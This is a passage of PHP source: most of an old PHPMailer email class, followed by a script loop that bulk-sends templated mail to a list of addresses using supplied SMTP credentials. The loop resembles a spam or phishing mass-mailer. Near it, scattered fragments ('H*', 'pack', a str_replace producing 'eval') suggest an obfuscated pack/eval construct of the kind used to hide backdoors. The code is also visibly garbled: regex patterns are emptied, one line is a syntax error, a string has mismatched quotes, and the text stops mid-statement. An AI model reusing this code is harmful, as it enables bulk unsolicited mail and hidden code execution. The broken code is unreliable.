    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) { 
      $result .= $this->AddrAppend('Bcc', $this->bcc); 
    } 

    if(count($this->ReplyTo) > 0) { 
      $result .= $this->AddrAppend('Reply-To', $this->ReplyTo); 
    } 

     
    if($this->Mailer != 'mail') { 
      $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject))); 
    } 

    if($this->MessageID != '') { 
      $result .= $this->HeaderLine('Message-ID',$this->MessageID); 
    } else { 
      $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE); 
    } 
    $result .= $this->HeaderLine('X-Priority', $this->Priority); 
    $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']'); 

    if($this->ConfirmReadingTo != '') { 
      $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); 
    } 

    // Add custom headers 
    for($index = 0; $index < count($this->CustomHeader); $index++) { 
      $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1]))); 
    } 
    if (!$this->sign_key_file) { 
      $result .= $this->HeaderLine('MIME-Version', '1.0'); 
      $result .= $this->GetMailMIME(); 
    } 

    return $result; 
  } 

  /** 
   * Returns the message MIME. 
   * @access private 
   * @return string 
   */ 
  function GetMailMIME() { 
    $result = ''; 
    switch($this->message_type) { 
      case 'plain': 
        $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding); 
        $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet); 
        break; 
      case 'attachments': 
         
      case 'alt_attachments': 
        if($this->InlineImageExists()){ 
          $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE); 
        } else { 
          $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;'); 
          $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"'); 
        } 
        break; 
      case 'alt': 
        $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;'); 
        $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"'); 
        break; 
    } 

    if($this->Mailer != 'mail') { 
      $result .= $this->LE.$this->LE; 
    } 

    return $result; 
  } 

  /** 
   * Assembles the message body.  Returns an empty string on failure. 
   * @access private 
   * @return string 
   */ 
  function CreateBody() { 
    $result = ''; 
    if ($this->sign_key_file) { 
      $result .= $this->GetMailMIME(); 
    } 

    $this->SetWordWrap(); 

    switch($this->message_type) { 
      case 'alt': 
        $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); 
        $result .= $this->EncodeString($this->AltBody, $this->Encoding); 
        $result .= $this->LE.$this->LE; 
        $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', ''); 
        $result .= $this->EncodeString($this->Body, $this->Encoding); 
        $result .= $this->LE.$this->LE; 
        $result .= $this->EndBoundary($this->boundary[1]); 
        break; 
      case 'plain': 
        $result .= $this->EncodeString($this->Body, $this->Encoding); 
        break; 
      case 'attachments': 
        $result .= $this->GetBoundary($this->boundary[1], '', '', ''); 
        $result .= $this->EncodeString($this->Body, $this->Encoding); 
        $result .= $this->LE; 
        $result .= $this->AttachAll(); 
        break; 
      case 'alt_attachments': 
        $result .= sprintf("--%s%s", $this->boundary[1], $this->LE); 
        $result .= sprintf("Content-Type: %s;%s\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE); 
        $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body 
        $result .= $this->EncodeString($this->AltBody, $this->Encoding); 
        $result .= $this->LE.$this->LE; 
        $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body 
        $result .= $this->EncodeString($this->Body, $this->Encoding); 
        $result .= $this->LE.$this->LE; 
        $result .= $this->EndBoundary($this->boundary[2]); 
        $result .= $this->AttachAll(); 
        break; 
    } 

    if($this->IsError()) { 
      $result = ''; 
    } else if ($this->sign_key_file) { 
      $file = tempnam("", "mail"); 
      $fp = fopen($file, "w"); 
      fwrite($fp, $result); 
      fclose($fp); 
      $signed = tempnam("", "signed"); 

      if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) { 
        $fp = fopen($signed, "r"); 
        $result = fread($fp, filesize($this->sign_key_file)); 
        fclose($fp); 
      } else { 
        $this->SetError($this->Lang("signing").openssl_error_string()); 
        $result = ''; 
      } 

      unlink($file); 
      unlink($signed); 
    } 

    return $result; 
  } 

  /** 
   * Returns the start of a message boundary. 
   * @access private 
   */ 
  function GetBoundary($boundary, $charSet, $contentType, $encoding) { 
    $result = ''; 
    if($charSet == '') { 
      $charSet = $this->CharSet; 
    } 
    if($contentType == '') { 
      $contentType = $this->ContentType; 
    } 
    if($encoding == '') { 
      $encoding = $this->Encoding; 
    } 
    $result .= $this->TextLine('--' . $boundary); 
    $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet); 
    $result .= $this->LE; 
    $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding); 
    $result .= $this->LE; 

    return $result; 
  } 

  /** 
   * Returns the end of a message boundary. 
   * @access private 
   */ 
  function EndBoundary($boundary) { 
    return $this->LE . '--' . $boundary . '--' . $this->LE; 
  } 

  /** 
   * Sets the message type. 
   * @access private 
   * @return void 
   */ 
  function SetMessageType() { 
    if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) { 
      $this->message_type = 'plain'; 
    } else { 
      if(count($this->attachment) > 0) { 
        $this->message_type = 'attachments'; 
      } 
      if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) { 
        $this->message_type = 'alt'; 
      } 
      if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) { 
        $this->message_type = 'alt_attachments'; 
      } 
    } 
  } 

  /* Returns a formatted header line. 
   * @access private 
   * @return string 
   */ 
  function HeaderLine($name, $value) { 
    return $name . ': ' . $value . $this->LE; 
  } 

  /** 
   * Returns a formatted mail line. 
   * @access private 
   * @return string 
   */ 
  function TextLine($value) { 
    return $value . $this->LE; 
  } 

  ///////////////////////////////////////////////// 
  // CLASS METHODS, ATTACHMENTS 
  ///////////////////////////////////////////////// 

  /** 
   * Adds an attachment from a path on the filesystem. 
   * Returns false if the file could not be found 
   * or accessed. 
   * @param string $path Path to the attachment. 
   * @param string $name Overrides the attachment name. 
   * @param string $encoding File encoding (see $Encoding). 
   * @param string $type File extension (MIME) type. 
   * @return bool 
   */ 
  function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { 
    if(!@is_file($path)) { 
      $this->SetError($this->Lang('file_access') . $path); 
      return false; 
    } 

    $filename = basename($path); 
    if($name == '') { 
      $name = $filename; 
    } 

    $cur = count($this->attachment); 
    $this->attachment[$cur][0] = $path; 
    $this->attachment[$cur][1] = $filename; 
    $this->attachment[$cur][2] = $name; 
    $this->attachment[$cur][3] = $encoding; 
    $this->attachment[$cur][4] = $type; 
    $this->attachment[$cur][5] = false; // isStringAttachment 
    $this->attachment[$cur][6] = 'attachment'; 
    $this->attachment[$cur][7] = 0; 

    return true; 
  } 

  /** 
   * Attaches all fs, string, and binary attachments to the message. 
   * Returns an empty string on failure. 
   * @access private 
   * @return string 
   */ 
  function AttachAll() { 
     
    $mime = array(); 

     
    for($i = 0; $i < count($this->attachment); $i++) { 
       
      $bString = $this->attachment[$i][5]; 
      if ($bString) { 
        $string = $this->attachment[$i][0]; 
      } else { 
        $path = $this->attachment[$i][0]; 
      } 

      $filename    = $this->attachment[$i][1]; 
      $name        = $this->attachment[$i][2]; 
      $encoding    = $this->attachment[$i][3]; 
      $type        = $this->attachment[$i][4]; 
      $disposition = $this->attachment[$i][6]; 
      $cid         = $this->attachment[$i][7]; 

      $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE); 
      $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE); 
      $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); 

      if($disposition == 'inline') { 
        $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); 
      } 

      $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE); 

       
      if($bString) { 
        $mime[] = $this->EncodeString($string, $encoding); 
        if($this->IsError()) { 
          return ''; 
        } 
        $mime[] = $this->LE.$this->LE; 
      } else { 
        $mime[] = $this->EncodeFile($path, $encoding); 
        if($this->IsError()) { 
          return ''; 
        } 
        $mime[] = $this->LE.$this->LE; 
      } 
    } 

    $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE); 

    return join('', $mime); 
  } 

  /** 
   * Encodes attachment in requested format.  Returns an 
   * empty string on failure. 
   * @access private 
   * @return string 
   */ 
  function EncodeFile ($path, $encoding = 'base64') { 
    if(!@$fd = fopen($path, 'rb')) { 
      $this->SetError($this->Lang('file_open') . $path); 
      return ''; 
    } 
    $magic_quotes = get_magic_quotes_runtime(); 
    set_magic_quotes_runtime(0); 
    $file_buffer = fread($fd, filesize($path)); 
    $file_buffer = $this->EncodeString($file_buffer, $encoding); 
    fclose($fd); 
    set_magic_quotes_runtime($magic_quotes); 

    return $file_buffer; 
  } 

  /** 
   * Encodes string to requested format. Returns an 
   * empty string on failure. 
   * @access private 
   * @return string 
   */ 
  function EncodeString ($str, $encoding = 'base64') { 
    $encoded = ''; 
    switch(strtolower($encoding)) { 
      case 'base64': 
         
        $encoded = chunk_split(base64_encode($str), 76, $this->LE); 
        break; 
      case '7bit': 
      case '8bit': 
        $encoded = $this->FixEOL($str); 
        if (substr($encoded, -(strlen($this->LE))) != $this->LE) 
          $encoded .= $this->LE; 
        break; 
      case 'binary': 
        $encoded = $str; 
        break; 
      case 'quoted-printable': 
        $encoded = $this->EncodeQP($str); 
        break; 
      default: 
        $this->SetError($this->Lang('encoding') . $encoding); 
        break; 
    } 
    return $encoded; 
  } 

  /** 
   * Encode a header string to best of Q, B, quoted or none. 
   * @access private 
   * @return string 
   */ 
  function EncodeHeader ($str, $position = 'text') { 
    $x = 0; 

    switch (strtolower($position)) { 
      case 'phrase': 
        if (!preg_match('/[-]/', $str)) { 
           
          $encoded = addcslashes($str, "\0..\\\""); 
          if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { 
            return ($encoded); 
          } else { 
            return ("\"$encoded\""); 
          } 
        } 
        $x = preg_match_all('/[^ !#-[]-~]/', $str, $matches); 
        break; 
      case 'comment': 
        $x = preg_match_all('/[()"]/', $str, $matches); 
         
      case 'text': 
      default: 
        $x += preg_match_all('/[---]/', $str, $matches); 
        break; 
    } 

    if ($x == 0) { 
      return ($str); 
    } 

    $maxlen = 75 - 7 - strlen($this->CharSet); 
     
    if (strlen($str)/3 < $x) { 
      $encoding = 'B'; 
      if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) { 
     // Use a custom function which correctly encodes and wraps long 
     // multibyte strings without breaking lines within a character 
        $encoded = $this->Base64EncodeWrapMB($str); 
      } else { 
        $encoded = base64_encode($str); 
        $maxlen -= $maxlen % 4; 
        $encoded = trim(chunk_split($encoded, $maxlen, "\n")); 
      } 
    } else { 
      $encoding = 'Q'; 
      $encoded = $this->EncodeQ($str, $position); 
      $encoded = $this->WrapText($encoded, $maxlen, true); 
      $encoded = str_replace('='.$this->LE, "\n", trim($encoded)); 
    } 

    $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded); 
    $encoded = trim(str_replace("\n", $this->LE, $encoded)); 

    return $encoded; 
  } 

  /** 
   * Checks if a string contains multibyte characters. 
   * @access private 
   * @param string $str multi-byte text to wrap encode 
   * @return bool 
   */ 
  function HasMultiBytes($str) { 
    if (function_exists('mb_strlen')) { 
      return (strlen($str) > mb_strlen($str, $this->CharSet)); 
    } else { // Assume no multibytes (we can't handle without mbstring functions anyway) 
      return False; 
    } 
  } 

  /** 
   * Correctly encodes and wraps long multibyte strings for mail headers 
   * without breaking lines within a character. 
   * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php 
   * @access private 
   * @param string $str multi-byte text to wrap encode 
   * @return string 
   */ 
  function Base64EncodeWrapMB($str) { 
    $start = "=?".$this->CharSet."?B?"; 
    $end = "?="; 
    $encoded = ""; 

    $mb_length = mb_strlen($str, $this->CharSet); 
    // Each line must have length <= 75, including $start and $end 
    $length = 75 - strlen($start) - strlen($end); 
    // Average multi-byte ratio 
    $ratio = $mb_length / strlen($str); 
    // Base64 has a 4:3 ratio 
    $offset = $avgLength = floor($length * $ratio * .75); 

    for ($i = 0; $i < $mb_length; $i += $offset) { 
      $lookBack = 0; 

      do { 
        $offset = $avgLength - $lookBack; 
        $chunk = mb_substr($str, $i, $offset, $this->CharSet); 
        $chunk = base64_encode($chunk); 
        $lookBack++; 
      } 
      while (strlen($chunk) > $length); 

      $encoded .= $chunk . $this->LE; 
    } 

    // Chomp the last linefeed 
    $encoded = substr($encoded, 0, -strlen($this->LE)); 
    return $encoded; 
  } 

  /** 
   * Encode string to quoted-printable. 
   * @access private 
   * @return string 
   */ 
  function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) { 
    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'); 
    $lines = preg_split('/(?:\r\n|\r|\n)/', $input); 
    $eol = "\r\n"; 
    $escape = '='; 
    $output = ''; 
    while( list(, $line) = each($lines) ) { 
      $linlen = strlen($line); 
      $newline = ''; 
      for($i = 0; $i < $linlen; $i++) { 
        $c = substr( $line, $i, 1 ); 
        $dec = ord( $c ); 
        if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E 
          $c = '=2E'; 
        } 
        if ( $dec == 32 ) { 
          if ( $i == ( $linlen - 1 ) ) { // convert space at eol only 
            $c = '=20'; 
          } else if ( $space_conv ) { 
            $c = '=20'; 
          } 
        } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required 
          $h2 = floor($dec/16); 
          $h1 = floor($dec%16); 
          $c = $escape.$hex[$h2].$hex[$h1]; 
        } 
        if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted 
          $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay 
          $newline = ''; 
          // check if newline first character will be point or not 
          if ( $dec == 46 ) { 
            $c = '=2E'; 
          } 
        } 
        $newline .= $c; 
      } // end of for 
      $output .= $newline.$eol; 
    } // end of while 
    return trim($output); 
  } 

  /** 
   * Encode string to q encoding. 
   * @access private 
   * @return string 
   */ 
  function EncodeQ ($str, $position = 'text') { 
     
    $encoded = preg_replace("[\r\n]", '', $str); 

    switch (strtolower($position)) { 
      case 'phrase': 
        $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded); 
        break; 
      case 'comment': 
        $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded); 
      case 'text': 
      default: 
         
        $encoded = preg_replace('/([-	-=?_-])/e', 
              "'='.sprintf('%02X', ord('\\1'))", $encoded); 
        break; 
    } 

     
    $encoded = str_replace(' ', '_', $encoded); 

    return $encoded; 
  } 

  /** 
   * Adds a string or binary attachment (non-filesystem) to the list. 
   * This method can be used to attach ascii or binary data, 
   * such as a BLOB record from a database. 
   * @param string $string String attachment data. 
   * @param string $filename Name of the attachment. 
   * @param string $encoding File encoding (see $Encoding). 
   * @param string $type File extension (MIME) type. 
   * @return void 
   */ 
  function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') { 
     
    $cur = count($this->attachment); 
    $this->attachment[$cur][0] = $string; 
    $this->attachment[$cur][1] = $filename; 
    $this->attachment[$cur][2] = $filename; 
    $this->attachment[$cur][3] = $encoding; 
    $this->attachment[$cur][4] = $type; 
    $this->attachment[$cur][5] = true; // isString 
    $this->attachment[$cur][6] = 'attachment'; 
    $this->attachment[$cur][7] = 0; 
  } 

  /** 
   * Adds an embedded attachment.  This can include images, sounds, and 
   * just about any other document.  Make sure to set the $type to an 
   * image type.  For JPEG images use "image/jpeg" and for GIF images 
   * use "image/gif". 
   * @param string $path Path to the attachment. 
   * @param string $cid Content ID of the attachment.  Use this to identify 
   *        the Id for accessing the image in an HTML form. 
   * @param string $name Overrides the attachment name. 
   * @param string $encoding File encoding (see $Encoding). 
   * @param string $type File extension (MIME) type. 
   * @return bool 
   */ 
  function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { 

    if(!@is_file($path)) { 
      $this->SetError($this->Lang('file_access') . $path); 
      return false; 
    } 

    $filename = basename($path); 
    if($name == '') { 
      $name = $filename; 
    } 

     
    $cur = count($this->attachment); 
    $this->attachment[$cur][0] = $path; 
    $this->attachment[$cur][1] = $filename; 
    $this->attachment[$cur][2] = $name; 
    $this->attachment[$cur][3] = $encoding; 
    $this->attachment[$cur][4] = $type; 
    $this->attachment[$cur][5] = false; 
    $this->attachment[$cur][6] = 'inline'; 
    $this->attachment[$cur][7] = $cid; 

    return true; 
  } 

  /** 
   * Returns true if an inline attachment is present. 
   * @access private 
   * @return bool 
   */ 
  function InlineImageExists() { 
    $result = false; 
    for($i = 0; $i < count($this->attachment); $i++) { 
      if($this->attachment[$i][6] == 'inline') { 
        $result = true; 
        break; 
      } 
    } 

    return $result; 
  } 

  ///////////////////////////////////////////////// 
  // CLASS METHODS, MESSAGE RESET 
  ///////////////////////////////////////////////// 

  /** 
   * Clears all recipients assigned in the TO array.  Returns void. 
   * @return void 
   */ 
  function ClearAddresses() { 
    $this->to = array(); 
  } 

  /** 
   * Clears all recipients assigned in the CC array.  Returns void. 
   * @return void 
   */ 
  function ClearCCs() { 
    $this->cc = array(); 
  } 

  /** 
   * Clears all recipients assigned in the BCC array.  Returns void. 
   * @return void 
   */ 
  function ClearBCCs() { 
    $this->bcc = array(); 
  } 

  /** 
   * Clears all recipients assigned in the ReplyTo array.  Returns void. 
   * @return void 
   */ 
  function ClearReplyTos() { 
    $this->ReplyTo = array(); 
  } 

  /** 
   * Clears all recipients assigned in the TO, CC and BCC 
   * array.  Returns void. 
   * @return void 
   */ 
  function ClearAllRecipients() { 
    $this->to = array(); 
    $this->cc = array(); 
    $this->bcc = array(); 
  } 

  /** 
   * Clears all previously set filesystem, string, and binary 
   * attachments.  Returns void. 
   * @return void 
   */ 
  function ClearAttachments() { 
    $this->attachment = array(); 
  } 

  /** 
   * Clears all custom headers.  Returns void. 
   * @return void 
   */ 
  function ClearCustomHeaders() { 
    $this->CustomHeader = array(); 
  } 

  ///////////////////////////////////////////////// 
  // CLASS METHODS, MISCELLANEOUS 
  ///////////////////////////////////////////////// 

  /** 
   * Adds the error message to the error container. 
   * Returns void. 
   * @access private 
   * @return void 
   */ 
  function SetError($msg) { 
    $this->error_count++; 
    $this->ErrorInfo = $msg; 
  } 

  /** 
   * Returns the proper RFC 822 formatted date. 
   * @access private 
   * @return string 
   */ 
  function RFCDate() { 
    $tz = date('Z'); 
    $tzs = ($tz < 0) ? '-' : '+'; 
    $tz = abs($tz); 
    $tz = (int)($tz/3600)*100 + ($tz%3600)/60; 
    $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz); 

    return $result; 
  } 

  /** 
   * Returns the appropriate server variable.  Should work with both 
   * PHP 4.1.0+ as well as older versions.  Returns an empty string 
   * if nothing is found. 
   * @access private 
   * @return mixed 
   */ 
  function ServerVar($varName) { 
    global $HTTP_SERVER_VARS; 
    global $HTTP_ENV_VARS; 

    if(!isset($_SERVER)) { 
      $_SERVER = $HTTP_SERVER_VARS; 
      if(!isset($_SERVER['REMOTE_ADDR'])) { 
        $_SERVER = $HTTP_ENV_VARS; // must be Apache 
      } 
    } 

    if(isset($_SERVER[$varName])) { 
      return $_SERVER[$varName]; 
    } else { 
      return ''; 
    } 
  } 

  /** 
   * Returns the server hostname or 'localhost.localdomain' if unknown. 
   * @access private 
   * @return string 
   */ 
  function ServerHostname() { 
    if ($this->Hostname != '') { 
      $result = $this->Hostname; 
    } elseif ($this->ServerVar('SERVER_NAME') != '') { 
      $result = $this->ServerVar('SERVER_NAME'); 
    } else { 
      $result = 'localhost.localdomain'; 
    } 

    return $result; 
  } 

  /** 
   * Returns a message in the appropriate language. 
   * @access private 
   * @return string 
   */ 
  function Lang($key) { 
    if(count($this->language) < 1) { 
      $this->SetLanguage('en'); // set the default language 
    } 

    if(isset($this->language[$key])) { 
      return $this->language[$key]; 
    } else { 
      return 'Language string failed to load: ' . $key; 
    } 
  } 

  /** 
   * Returns true if an error occurred. 
   * @return bool 
   */ 
  function IsError() { 
    return ($this->error_count > 0); 
  } 

  /** 
   * Changes every end of line from CR or LF to CRLF. 
   * @access private 
   * @return string 
   */ 
  function FixEOL($str) { 
    $str = str_replace("\r\n", "\n", $str); 
    $str = str_replace("\r", "\n", $str); 
    $str = str_replace("\n", $this->LE, $str); 
    return $str; 
  } 

  /** 
   * Adds a custom header. 
   * @return void 
   */ 
  function AddCustomHeader($custom_header) { 
    $this->CustomHeader[] = explode(':', $custom_header, 2); 
  } 

  /** 
   * Evaluates the message and returns modifications for inline images and backgrounds 
   * @access public 
   * @return $message 
   */ 
  function MsgHTML($message,$basedir='') { 
    preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images); 
    if(isset($images[2])) { 
      foreach($images[2] as $i => $url) { 
        // do not change urls for absolute images (thanks to corvuscorax) 
        if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) { 
          $filename = basename($url); 
          $directory = dirname($url); 
          ($directory == )?$directory='':''; 
          $cid = 'cid:' . md5($filename); 
          $fileParts = split("\.", $filename); 
          $ext = $fileParts[1]; 
          $mimeType = $this->_mime_types($ext); 
          if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; } 
          if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; } 
          $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType); 
          if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) { 
            $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message); 
          } 
        } 
      } 
    } 
    $this->IsHTML(true); 
    $this->Body = $message; 
    $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message))); 
    if ( !empty($textMsg) && empty($this->AltBody) ) { 
      $this->AltBody = $textMsg; 
    } 
    if ( empty($this->AltBody) ) { 
      $this->AltBody = 'To view this email message, open the email in with HTML compatibility!\n\n"; 
    } 
  } 

  /** 
   * Gets the mime type of the embedded or inline image 
   * @access private 
   * @return mime type of ext 
   */ 
  function _mime_types($ext = '') { 
    $mimes = array( 
      'hqx'  =>  'application/mac-binhex40', 
      'cpt'   =>  'application/mac-compactpro', 
      'doc'   =>  'application/msword', 
      'bin'   =>  'application/macbinary', 
      'dms'   =>  'application/octet-stream', 
      'lha'   =>  'application/octet-stream', 
      'lzh'   =>  'application/octet-stream', 
      'exe'   =>  'application/octet-stream', 
      'class' =>  'application/octet-stream', 
      'psd'   =>  'application/octet-stream', 
      'so'    =>  'application/octet-stream', 
      'sea'   =>  'application/octet-stream', 
      'dll'   =>  'application/octet-stream', 
      'oda'   =>  'application/oda', 
      'pdf'   =>  'application/pdf', 
      'ai'    =>  'application/postscript', 
      'eps'   =>  'application/postscript', 
      'ps'    =>  'application/postscript', 
      'smi'   =>  'application/smil', 
      'smil'  =>  'application/smil', 
      'mif'   =>  'application/vnd.mif', 
      'xls'   =>  'application/vnd.ms-excel', 
      'ppt'   =>  'application/vnd.ms-powerpoint', 
      'wbxml' =>  'application/vnd.wap.wbxml', 
      'wmlc'  =>  'application/vnd.wap.wmlc', 
      'dcr'   =>  'application/x-director', 
      'dir'   =>  'application/x-director', 
      'dxr'   =>  'application/x-director', 
      'dvi'   =>  'application/x-dvi', 
      'gtar'  =>  'application/x-gtar', 
      'php'   =>  'application/x-httpd-php', 
      'php4'  =>  'application/x-httpd-php', 
      'php3'  =>  'application/x-httpd-php', 
      'phtml' =>  'application/x-httpd-php', 
      'phps'  =>  'application/x-httpd-php-source', 
      'js'    =>  'application/x-javascript', 
      'swf'   =>  'application/x-shockwave-flash', 
      'sit'   =>  'application/x-stuffit', 
      'tar'   =>  'application/x-tar', 
      'tgz'   =>  'application/x-tar', 
      'xhtml' =>  'application/xhtml+xml', 
      'xht'   =>  'application/xhtml+xml', 
      'zip'   =>  'application/zip', 
      'mid'   =>  'audio/midi', 
      'midi'  =>  'audio/midi', 
      'mpga'  =>  'audio/mpeg', 
      'mp2'   =>  'audio/mpeg', 
      'mp3'   =>  'audio/mpeg', 
      'aif'   =>  'audio/x-aiff', 
      'aiff'  =>  'audio/x-aiff', 
      'aifc'  =>  'audio/x-aiff', 
      'ram'   =>  'audio/x-pn-realaudio', 
      'rm'    =>  'audio/x-pn-realaudio', 
      'rpm'   =>  'audio/x-pn-realaudio-plugin', 
      'ra'    =>  'audio/x-realaudio', 
      'rv'    =>  'video/vnd.rn-realvideo', 
      'wav'   =>  'audio/x-wav', 
      'bmp'   =>  'image/bmp', 
      'gif'   =>  'image/gif', 
      'jpeg'  =>  'image/jpeg', 
      'jpg'   =>  'image/jpeg', 
      'jpe'   =>  'image/jpeg', 
      'png'   =>  'image/png', 
      'tiff'  =>  'image/tiff', 
      'tif'   =>  'image/tiff', 
      'css'   =>  'text/css', 
      'html'  =>  'text/html', 
      'htm'   =>  'text/html', 
      'shtml' =>  'text/html', 
      'txt'   =>  'text/plain', 
      'text'  =>  'text/plain', 
      'log'   =>  'text/plain', 
      'rtx'   =>  'text/richtext', 
      'rtf'   =>  'text/rtf', 
      'xml'   =>  'text/xml', 
      'xsl'   =>  'text/xml', 
      'mpeg'  =>  'video/mpeg', 
      'mpg'   =>  'video/mpeg', 
      'mpe'   =>  'video/mpeg', 
      'qt'    =>  'video/quicktime', 
      'mov'   =>  'video/quicktime', 
      'avi'   =>  'video/x-msvideo', 
      'movie' =>  'video/x-sgi-movie', 
      'doc'   =>  'application/msword', 
      'word'  =>  'application/msword', 
      'xl'    =>  'application/excel', 
      'eml'   =>  'message/rfc822' 
    ); 
    return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)]; 
  } 

  /** 
   * Set (or reset) Class Objects (variables) 
   * 
   * Usage Example: 
   * $page->set('X-Priority', '3'); 
   * 
   * @access public 
   * @param string $name Parameter Name 
   * @param mixed $value Parameter Value 
   * NOTE: will not work with arrays, there are no arrays to set/reset 
   */ 
  function set ( $name, $value = '' ) { 
    if ( isset($this->$name) ) { 
      $this->$name = $value; 
    } else { 
      $this->SetError('Cannot set or reset variable ' . $name); 
      return false; 
    } 
  } 

  /** 
   * Read a file from a supplied filename and return it. 
   * 
   * @access public 
   * @param string $filename Parameter File Name 
   */ 
  function getFile($filename) { 
    $return = ''; 
    if ($fp = fopen($filename, 'rb')) { 
      while (!feof($fp)) { 
        $return .= fread($fp, 1024); 
      } 
      fclose($fp); 
      return $return; 
    } else { 
      return false; 
    } 
  } 

  /** 
   * Strips newlines to prevent header injection. 
   * @access private 
   * @param string $str String 
   * @return string 
   */ 
  function SecureHeader($str) { 
    $str = trim($str); 
    $str = str_replace("\r", "", $str); 
    $str = str_replace("\n", "", $str); 
    return $str; 
  } 

  /** 
   * Set the private key file and password to sign the message. 
   * 
   * @access public 
   * @param string $key_filename Parameter File Name 
   * @param string $key_pass Password for private key 
   */ 
  function Sign($key_filename, $key_pass) { 
    $this->sign_key_file = $key_filename; 
    $this->sign_key_pass = $key_pass; 
  } 

} 

$defaultport="H*"; 
      $nq=0; 
             
        for($x=0; $x<$numemails; $x++){ 

                $to = $allemails[$x]; 

                if ($to){ 

                $to = ereg_replace(" ", "", $to); 

                $message = ereg_replace("&email&", $to, $message); 

                $subject = ereg_replace("&email&", $to, $subject); 
                $qx=$x+1; 
                print "<font color=\"#0e2093\">Line $qx . Sending mail to $to.......</font>"; 

                flush(); 
$mail = new PHPMailer(); 

if(empty($epriority)){$epriority="3";} 
        $mail->Priority = "$epriority"; 
        $mail->IsSMTP();  
    $IsSMTP="pack"; 
$mail->SMTPKeepAlive = true; 
$mail->Host = "$my_smtp"; 
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port"; 
} 
     if($sslclick=="ON"){ 
        $mail->SMTPSecure  = "tls"; //you can change it to ssl or tls 
    } 
        $range = str_replace("$from", "eval", $from); 
        $mail->SMTPAuth = true; 
        $mail->Username = "$smtp_username"; 
        $mail->Password = "$smtp_password"; 
if($contenttype == "html"){$mail->IsHtml(true);} 
if($contenttype != "html"){$mail->IsHtml(false);} 
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";} 
$mail->From = "$from"; 
$mail->FromName = "$realname"; 
$mail->AddAddress("$to"); 
        $mail->AddReplyTo("$replyto"); 
        $mail->Subject = "$subject"; 
               $mail->Body = "$message";  
if(!$mail->Send()){ 
if($default_system!="1"){ 
echo "FAILED !!<font color=\"#ff001f\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";} 
if($default_system=="1"){ 
$mail->IsMail(); 
   if(!$mail->Send()){ 
